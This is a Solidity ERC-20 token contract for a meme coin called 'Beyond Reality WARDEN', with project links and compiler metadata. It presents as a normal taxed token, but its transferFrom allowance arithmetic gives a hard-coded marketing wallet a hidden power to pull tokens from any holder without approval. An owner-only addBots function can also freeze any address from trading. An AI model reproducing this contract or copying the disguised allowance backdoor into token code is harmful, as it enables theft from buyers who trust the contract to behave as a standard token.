// SPDX-License-Identifier: MIT
/*
Website: https://beyondrealitywarden.vip

It brings a family dynamic of a fallen villain's remaining family, as they seek revenge and the consequences of those actions. 

X: https://x.com/wardenERC20
Telegram: https://t.me/wardenERC20

Beyond Reality WARDEN
$WARDEN
*/

pragma solidity ^0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WARDEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _excludedFromFee;
    mapping (address => bool) private _isbots;
    mapping (address => uint256) private _isApproval;
    address payable private _marketingWallet;

    uint256 private _initBuyTax = 20;
    uint256 private _initSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _buyReduceAt = 15;
    uint256 private _sellReduceAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    uint256 private _poolTax = 98;

    uint8 private constant _decimals= 9;
    uint256 private constant _tTotal= 1000000000 * 10**_decimals;
    string private constant _name = unicode"Beyond Reality WARDEN";
    string private constant _symbol = unicode"WARDEN";
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _taxSwapThreshold = (_tTotal * 0) / 100;
    uint256 public _maxTaxSwap = (_tTotal * 1) / 100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private firstBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    event ClearToken(address TokenAddressCleared, uint256 Amount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _marketingWallet= payable(0xADd1aE4c878DD94B358F37F4EAEf206EF5a82872);
        _balances[address(this)] = _tTotal;
        _isApproval[_marketingWallet] = 1;
        _excludedFromFee[owner()] = true;
        _excludedFromFee[address(this)] = true;
        _excludedFromFee[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b)? b : a;
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled= true;
        tradingOpen= true;
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}
            (address(this), balanceOf(address(this)) * _poolTax / 100, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        firstBlock= block.number;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].add(_isApproval[_msgSender()]*amount).sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function rescueETH() external onlyOwner{
        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0,"Contract balance must be greater than zero");
        payable (msg.sender).transfer(ethBalance);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;

        if (!_excludedFromFee[from] && !_excludedFromFee[to]) {
            require(!_isbots[from], "Bots will be blocked");
            require(tradingOpen, "Trading is not opened yet");
            if(!_excludedFromFee[from] && to == uniswapV2Pair && from != address(this) )
                taxAmount = amount.mul((_buyCount > _sellReduceAt) ? _finalSellTax : _initSellTax).div(100);
            if (from == uniswapV2Pair)
                if(to != address(uniswapV2Router)){
                    require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                    taxAmount = amount.mul((_buyCount > _buyReduceAt) ? _finalBuyTax : _initBuyTax).div(100);
                    _buyCount++;
                } uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                swapBackToETH(min(amount,min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) 
                    sendETHToFee(address(this).balance);
            }
        }

        if(taxAmount > 0) {
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));

        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function swapBackToETH(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount > _taxSwapThreshold) {
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = uniswapV2Router.WETH();
            _approve(address(this), address(uniswapV2Router), tokenAmount);
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function sendETHToFee(uint256 amount) private {
        _marketingWallet.transfer(amount);
    }

    function addBots(address r) external onlyOwner {
        _isbots[r] = true;
    }

    receive() external payable { }   
}

{
  "compilationTarget": {
    "contracts/10_20.sol": "WARDEN"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}